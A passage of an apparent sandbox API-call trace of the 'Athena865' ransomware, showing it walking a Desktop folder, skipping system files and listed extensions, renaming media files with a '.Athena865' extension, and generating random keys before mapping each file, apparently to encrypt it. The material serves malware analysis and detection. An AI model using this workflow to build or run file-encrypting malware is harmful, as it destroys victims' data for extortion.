returned 1 [0050.520] lstrlenW (lpString="accdw") returned 5 [0050.520] lstrcmpiW (lpString1="r.mp3", lpString2="accdw") returned 1 [0050.520] lstrlenW (lpString="accft") returned 5 [0050.520] lstrcmpiW (lpString1="r.mp3", lpString2="accft") returned 1 [0050.520] lstrlenW (lpString="adb") returned 3 [0050.520] lstrcmpiW (lpString1="mp3", lpString2="adb") returned 1 [0050.520] lstrlenW (lpString="adb") returned 3 [0050.520] lstrcmpiW (lpString1="mp3", lpString2="adb") returned 1 [0050.520] lstrlenW (lpString="ade") returned 3 [0050.520] lstrcmpiW (lpString1="mp3", lpString2="ade") returned 1 [0050.520] lstrlenW (lpString="adf") returned 3 [0050.520] lstrcmpiW (lpString1="mp3", lpString2="adf") returned 1 [0050.520] lstrlenW (lpString="adn") returned 3 [0050.520] lstrcmpiW (lpString1="mp3", lpString2="adn") returned 1 [0050.520] lstrlenW (lpString="adp") returned 3 [0050.520] lstrcmpiW (lpString1="mp3", lpString2="adp") returned 1 [0050.520] lstrlenW (lpString="alf") returned 3 [0050.521] lstrcmpiW (lpString1="mp3", lpString2="alf") returned 1 [0050.521] lstrlenW (lpString="ask") returned 3 [0050.521] lstrcmpiW (lpString1="mp3", lpString2="ask") returned 1 [0050.521] lstrlenW (lpString="btr") returned 3 [0050.521] lstrcmpiW (lpString1="mp3", lpString2="btr") returned 1 [0050.521] lstrlenW (lpString="cat") returned 3 [0050.521] lstrcmpiW (lpString1="mp3", lpString2="cat") returned 1 [0050.521] lstrlenW (lpString="cdb") returned 3 [0050.521] lstrcmpiW (lpString1="mp3", lpString2="cdb") returned 1 [0050.521] lstrlenW (lpString="ckp") returned 3 [0050.521] lstrcmpiW (lpString1="mp3", lpString2="ckp") returned 1 [0050.521] lstrlenW (lpString="cma") returned 3 [0050.521] lstrcmpiW (lpString1="mp3", lpString2="cma") returned 1 [0050.521] lstrlenW (lpString="cpd") returned 3 [0050.521] lstrcmpiW (lpString1="mp3", lpString2="cpd") returned 1 [0050.521] lstrlenW (lpString="dacpac") returned 6 [0050.521] lstrcmpiW (lpString1="Lr.mp3", lpString2="dacpac") returned 1 [0050.521] lstrlenW (lpString="dad") returned 3 [0050.521] lstrcmpiW (lpString1="mp3", lpString2="dad") returned 1 [0050.521] lstrlenW (lpString="dadiagrams") returned 10 [0050.521] lstrcmpiW (lpString1="m1U0Lr.mp3", lpString2="dadiagrams") returned 1 [0050.521] lstrlenW (lpString="daschema") returned 8 [0050.521] lstrcmpiW (lpString1="U0Lr.mp3", lpString2="daschema") returned 1 [0050.521] lstrlenW (lpString="db-journal") returned 10 [0050.521] lstrcmpiW (lpString1="m1U0Lr.mp3", lpString2="db-journal") returned 1 [0050.521] lstrlenW (lpString="db-shm") returned 6 [0050.521] lstrcmpiW (lpString1="Lr.mp3", lpString2="db-shm") returned 1 [0050.521] lstrlenW (lpString="db-wal") returned 6 [0050.521] lstrcmpiW (lpString1="Lr.mp3", lpString2="db-wal") returned 1 [0050.521] lstrlenW (lpString="dbc") returned 3 [0050.521] lstrcmpiW (lpString1="mp3", lpString2="dbc") returned 1 [0050.521] lstrlenW (lpString="dbs") returned 3 [0050.521] lstrcmpiW (lpString1="mp3", lpString2="dbs") returned 1 [0050.522] lstrlenW (lpString="dbt") returned 3 [0050.522] lstrcmpiW (lpString1="mp3", lpString2="dbt") returned 1 [0050.522] lstrlenW (lpString="dbv") returned 3 [0050.522] lstrcmpiW (lpString1="mp3", lpString2="dbv") returned 1 [0050.522] lstrlenW (lpString="dbx") returned 3 [0050.522] lstrcmpiW (lpString1="mp3", lpString2="dbx") returned 1 [0050.522] lstrlenW (lpString="dcb") returned 3 [0050.522] lstrcmpiW (lpString1="mp3", lpString2="dcb") returned 1 [0050.522] lstrcmpiW (lpString1="mp3", lpString2="dct") returned 1 [0050.522] lstrcmpiW (lpString1="mp3", lpString2="dcx") returned 1 [0050.522] lstrcmpiW (lpString1="mp3", lpString2="ddl") returned 1 [0050.522] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\Hm1U0Lr.mp3.Athena865") returned 76 [0050.522] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\Hm1U0Lr.mp3" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\hm1u0lr.mp3"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\Hm1U0Lr.mp3.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\hm1u0lr.mp3.athena865"), dwFlags=0x1) returned 1 [0050.523] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\Hm1U0Lr.mp3.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\hm1u0lr.mp3.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0050.523] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=12819) returned 1 [0050.523] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0050.523] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0050.523] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0050.523] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0050.524] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0050.524] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.524] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3520, lpName=0x0) returned 0x154 [0050.525] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3520) returned 0x100000 [0050.525] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0050.526] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0050.526] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.526] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0050.526] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0050.526] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5282a0 [0050.526] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0050.526] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5282a0 | out: hHeap=0x4f0000) returned 1 [0050.526] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0050.526] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0050.526] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0050.526] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0050.527] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0050.527] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0050.527] CloseHandle (hObject=0x154) returned 1 [0050.527] CloseHandle (hObject=0x17c) returned 1 [0050.528] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0050.528] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0050.528] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0050.528] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbce11940, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbce11940, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0050.528] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0050.528] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbee4d00, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbbee4d00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc58dfc20, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x1d84, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ids.txt", cAlternateFileName="")) returned 1 [0050.528] lstrcmpiW (lpString1="ids.txt", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0050.528] lstrcmpiW (lpString1="ids.txt", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0050.528] lstrcmpiW (lpString1="ids.txt", lpString2=".") returned 1 [0050.528] lstrcmpiW (lpString1="ids.txt", lpString2="..") returned 1 [0050.528] lstrcmpiW (lpString1="ids.txt", lpString2="windows") returned -1 [0050.528] lstrcmpiW (lpString1="ids.txt", lpString2="bootmgr") returned 1 [0050.528] lstrcmpiW (lpString1="ids.txt", lpString2="temp") returned -1 [0050.528] lstrcmpiW (lpString1="ids.txt", lpString2="pagefile.sys") returned -1 [0050.528] lstrcmpiW (lpString1="ids.txt", lpString2="boot") returned 1 [0050.528] lstrcmpiW (lpString1="ids.txt", lpString2="ids.txt") returned 0 [0050.528] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4cd88480, ftCreationTime.dwHighDateTime=0x1d4d38b, ftLastAccessTime.dwLowDateTime=0x368a5970, ftLastAccessTime.dwHighDateTime=0x1d4c773, ftLastWriteTime.dwLowDateTime=0x368a5970, ftLastWriteTime.dwHighDateTime=0x1d4c773, nFileSizeHigh=0x0, nFileSizeLow=0x16506, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="j9yySp5JhCBUF N.wav", cAlternateFileName="J9YYSP~1.WAV")) returned 1 [0050.528] lstrcmpiW (lpString1="j9yySp5JhCBUF N.wav", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0050.528] lstrcmpiW (lpString1="j9yySp5JhCBUF N.wav", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0050.528] lstrcmpiW (lpString1="j9yySp5JhCBUF N.wav", lpString2=".") returned 1 [0050.529] lstrcmpiW (lpString1="j9yySp5JhCBUF N.wav", lpString2="..") returned 1 [0050.529] lstrcmpiW (lpString1="j9yySp5JhCBUF N.wav", lpString2="windows") returned -1 [0050.529] lstrcmpiW (lpString1="j9yySp5JhCBUF N.wav", lpString2="bootmgr") returned 1 [0050.529] lstrcmpiW (lpString1="j9yySp5JhCBUF N.wav", lpString2="temp") returned -1 [0050.529] lstrcmpiW (lpString1="j9yySp5JhCBUF N.wav", lpString2="pagefile.sys") returned -1 [0050.529] lstrcmpiW (lpString1="j9yySp5JhCBUF N.wav", lpString2="boot") returned 1 [0050.529] lstrcmpiW (lpString1="j9yySp5JhCBUF N.wav", lpString2="ids.txt") returned 1 [0050.529] lstrcmpiW (lpString1="j9yySp5JhCBUF N.wav", lpString2="ntuser.dat") returned -1 [0050.529] lstrcmpiW (lpString1="j9yySp5JhCBUF N.wav", lpString2="perflogs") returned -1 [0050.529] lstrcmpiW (lpString1="j9yySp5JhCBUF N.wav", lpString2="MSBuild") returned -1 [0050.529] lstrlenW (lpString="j9yySp5JhCBUF N.wav") returned 19 [0050.529] lstrcpyW (in: lpString1=0x241e8b6, lpString2="j9yySp5JhCBUF N.wav" | out: lpString1="j9yySp5JhCBUF N.wav") returned="j9yySp5JhCBUF N.wav" [0050.529] lstrlenW (lpString="j9yySp5JhCBUF N.wav") returned 19 [0050.529] lstrlenW (lpString="Athena865") returned 9 [0050.529] lstrcmpiW (lpString1="BUF N.wav", lpString2="Athena865") returned 1 [0050.529] lstrlenW (lpString=".dll") returned 4 [0050.529] lstrcmpiW (lpString1="j9yySp5JhCBUF N.wav", lpString2=".dll") returned 1 [0050.529] lstrlenW (lpString=".lnk") returned 4 [0050.529] lstrcmpiW (lpString1="j9yySp5JhCBUF N.wav", lpString2=".lnk") returned 1 [0050.529] lstrlenW (lpString=".ini") returned 4 [0050.529] lstrcmpiW (lpString1="j9yySp5JhCBUF N.wav", lpString2=".ini") returned 1 [0050.529] lstrlenW (lpString=".sys") returned 4 [0050.529] lstrcmpiW (lpString1="j9yySp5JhCBUF N.wav", lpString2=".sys") returned 1 [0050.529] lstrlenW (lpString="j9yySp5JhCBUF N.wav") returned 19 [0050.529] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\j9yySp5JhCBUF N.wav.Athena865") returned 84 [0050.529] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\j9yySp5JhCBUF N.wav" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\j9yysp5jhcbuf n.wav"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\j9yySp5JhCBUF N.wav.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\j9yysp5jhcbuf n.wav.athena865"), dwFlags=0x1) returned 1 [0050.532] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\j9yySp5JhCBUF N.wav.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\j9yysp5jhcbuf n.wav.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0050.533] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=91398) returned 1 [0050.533] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0050.533] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0050.533] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0050.533] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0050.534] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0050.534] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.534] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x16810, lpName=0x0) returned 0x154 [0050.534] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x16810) returned 0x100000 [0050.537] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0050.538] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0050.538] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.538] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0050.538] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0050.538] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5282a0 [0050.538] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0050.538] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5282a0 | out: hHeap=0x4f0000) returned 1 [0050.538] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0050.538] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0050.538] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0050.538] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0050.538] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0050.538] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0050.539] CloseHandle (hObject=0x154) returned 1 [0050.539] CloseHandle (hObject=0x17c) returned 1 [0050.540] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0050.540] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0050.540] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0050.541] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba853be0, ftCreationTime.dwHighDateTime=0x1d4d2be, ftLastAccessTime.dwLowDateTime=0x279d8390, ftLastAccessTime.dwHighDateTime=0x1d4c8bf, ftLastWriteTime.dwLowDateTime=0x279d8390, ftLastWriteTime.dwHighDateTime=0x1d4c8bf, nFileSizeHigh=0x0, nFileSizeLow=0xab6d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LozZwG3.png", cAlternateFileName="")) returned 1 [0050.541] lstrcmpiW (lpString1="LozZwG3.png", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0050.541] lstrcmpiW (lpString1="LozZwG3.png", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0050.541] lstrcmpiW (lpString1="LozZwG3.png", lpString2=".") returned 1 [0050.541] lstrcmpiW (lpString1="LozZwG3.png", lpString2="..") returned 1 [0050.541] lstrcmpiW (lpString1="LozZwG3.png", lpString2="windows") returned -1 [0050.541] lstrcmpiW (lpString1="LozZwG3.png", lpString2="bootmgr") returned 1 [0050.541] lstrcmpiW (lpString1="LozZwG3.png", lpString2="temp") returned -1 [0050.541] lstrcmpiW (lpString1="LozZwG3.png", lpString2="pagefile.sys") returned -1 [0050.541] lstrcmpiW (lpString1="LozZwG3.png", lpString2="boot") returned 1 [0050.541] lstrcmpiW (lpString1="LozZwG3.png", lpString2="ids.txt") returned 1 [0050.541] lstrcmpiW (lpString1="LozZwG3.png", lpString2="ntuser.dat") returned -1 [0050.541] lstrcmpiW (lpString1="LozZwG3.png", lpString2="perflogs") returned -1 [0050.541] lstrcmpiW (lpString1="LozZwG3.png", lpString2="MSBuild") returned -1 [0050.541] lstrlenW (lpString="LozZwG3.png") returned 11 [0050.541] lstrcpyW (in: lpString1=0x241e8b6, lpString2="LozZwG3.png" | out: lpString1="LozZwG3.png") returned="LozZwG3.png" [0050.541] lstrlenW (lpString="LozZwG3.png") returned 11 [0050.541] lstrlenW (lpString="Athena865") returned 9 [0050.541] lstrcmpiW (lpString1="zZwG3.png", lpString2="Athena865") returned 1 [0050.541] lstrlenW (lpString=".dll") returned 4 [0050.542] lstrcmpiW (lpString1="LozZwG3.png", lpString2=".dll") returned 1 [0050.542] lstrlenW (lpString=".lnk") returned 4 [0050.542] lstrcmpiW (lpString1="LozZwG3.png", lpString2=".lnk") returned 1 [0050.542] lstrlenW (lpString=".ini") returned 4 [0050.542] lstrcmpiW (lpString1="LozZwG3.png", lpString2=".ini") returned 1 [0050.542] lstrlenW (lpString=".sys") returned 4 [0050.542] lstrcmpiW (lpString1="LozZwG3.png", lpString2=".sys") returned 1 [0050.542] lstrlenW (lpString="LozZwG3.png") returned 11 [0050.542] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\LozZwG3.png.Athena865") returned 76 [0050.542] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\LozZwG3.png" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\lozzwg3.png"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\LozZwG3.png.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\lozzwg3.png.athena865"), dwFlags=0x1) returned 1 [0050.542] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\LozZwG3.png.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\lozzwg3.png.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0050.543] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=43885) returned 1 [0050.543] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0050.543] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0050.543] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0050.543] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0050.544] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0050.544] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.544] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xae70, lpName=0x0) returned 0x154 [0050.544] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xae70) returned 0x100000 [0050.546] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0050.546] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0050.546] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.546] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0050.547] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0050.547] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5282a0 [0050.547] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0050.547] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5282a0 | out: hHeap=0x4f0000) returned 1 [0050.547] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0050.547] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0050.547] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0050.547] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0050.547] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0050.547] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0050.548] CloseHandle (hObject=0x154) returned 1 [0050.548] CloseHandle (hObject=0x17c) returned 1 [0050.549] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0050.549] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0050.549] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0050.549] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb9cc400, ftCreationTime.dwHighDateTime=0x1d4cbac, ftLastAccessTime.dwLowDateTime=0xb13fc010, ftLastAccessTime.dwHighDateTime=0x1d4cb7e, ftLastWriteTime.dwLowDateTime=0xb13fc010, ftLastWriteTime.dwHighDateTime=0x1d4cb7e, nFileSizeHigh=0x0, nFileSizeLow=0x18a4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mdcQ_IY.m4a", cAlternateFileName="")) returned 1 [0050.549] lstrcmpiW (lpString1="mdcQ_IY.m4a", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0050.549] lstrcmpiW (lpString1="mdcQ_IY.m4a", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0050.549] lstrcmpiW (lpString1="mdcQ_IY.m4a", lpString2=".") returned 1 [0050.549] lstrcmpiW (lpString1="mdcQ_IY.m4a", lpString2="..") returned 1 [0050.549] lstrcmpiW (lpString1="mdcQ_IY.m4a", lpString2="windows") returned -1 [0050.550] lstrcmpiW (lpString1="mdcQ_IY.m4a", lpString2="bootmgr") returned 1 [0050.550] lstrcmpiW (lpString1="mdcQ_IY.m4a", lpString2="temp") returned -1 [0050.550] lstrcmpiW (lpString1="mdcQ_IY.m4a", lpString2="pagefile.sys") returned -1 [0050.550] lstrcmpiW (lpString1="mdcQ_IY.m4a", lpString2="boot") returned 1 [0050.550] lstrcmpiW (lpString1="mdcQ_IY.m4a", lpString2="ids.txt") returned 1 [0050.550] lstrcmpiW (lpString1="mdcQ_IY.m4a", lpString2="ntuser.dat") returned -1 [0050.550] lstrcmpiW (lpString1="mdcQ_IY.m4a", lpString2="perflogs") returned -1 [0050.550] lstrcmpiW (lpString1="mdcQ_IY.m4a", lpString2="MSBuild") returned -1 [0050.550] lstrlenW (lpString="mdcQ_IY.m4a") returned 11 [0050.550] lstrcpyW (in: lpString1=0x241e8b6, lpString2="mdcQ_IY.m4a" | out: lpString1="mdcQ_IY.m4a") returned="mdcQ_IY.m4a" [0050.550] lstrlenW (lpString="mdcQ_IY.m4a") returned 11 [0050.550] lstrlenW (lpString="Athena865") returned 9 [0050.550] lstrcmpiW (lpString1="cQ_IY.m4a", lpString2="Athena865") returned 1 [0050.550] lstrlenW (lpString=".dll") returned 4 [0050.550] lstrcmpiW (lpString1="mdcQ_IY.m4a", lpString2=".dll") returned 1 [0050.550] lstrlenW (lpString=".lnk") returned 4 [0050.550] lstrcmpiW (lpString1="mdcQ_IY.m4a", lpString2=".lnk") returned 1 [0050.550] lstrlenW (lpString=".ini") returned 4 [0050.550] lstrcmpiW (lpString1="mdcQ_IY.m4a", lpString2=".ini") returned 1 [0050.550] lstrlenW (lpString=".sys") returned 4 [0050.550] lstrcmpiW (lpString1="mdcQ_IY.m4a", lpString2=".sys") returned 1 [0050.550] lstrlenW (lpString="mdcQ_IY.m4a") returned 11 [0050.550] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\mdcQ_IY.m4a.Athena865") returned 76 [0050.550] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS 